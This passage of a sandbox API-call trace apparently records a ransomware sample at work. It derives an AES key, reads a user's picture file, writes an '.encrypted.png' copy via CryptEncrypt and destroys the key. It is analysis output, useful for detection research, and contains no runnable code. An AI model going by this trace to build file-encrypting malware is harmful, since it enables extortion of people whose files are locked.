(in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.374] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.375] CryptDeriveKey (in: hProv=0xe8f419a0a0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.375] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.375] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.377] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\5wde.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.377] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.377] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.377] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq")) returned 0x10 [0028.377] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\5wde.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.379] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.379] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.380] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x60aa, lpOverlapped=0x0) returned 1 [0028.381] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.383] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.384] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.384] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.384] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.385] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.385] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.385] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.385] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.386] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.386] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.388] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.388] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x160aa, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x160b0) returned 1 [0028.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.388] CharLowerBuffW (in: lpsz="byte[90289]", cchLength=0xb | out: lpsz="byte[90289]") returned 0xb [0028.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.391] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.391] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.392] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.393] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x160aa, dwBufLen=0x160b0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x160b0) returned 1 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.393] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.393] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.399] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.399] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.399] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.401] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.401] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.401] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.401] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.402] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") 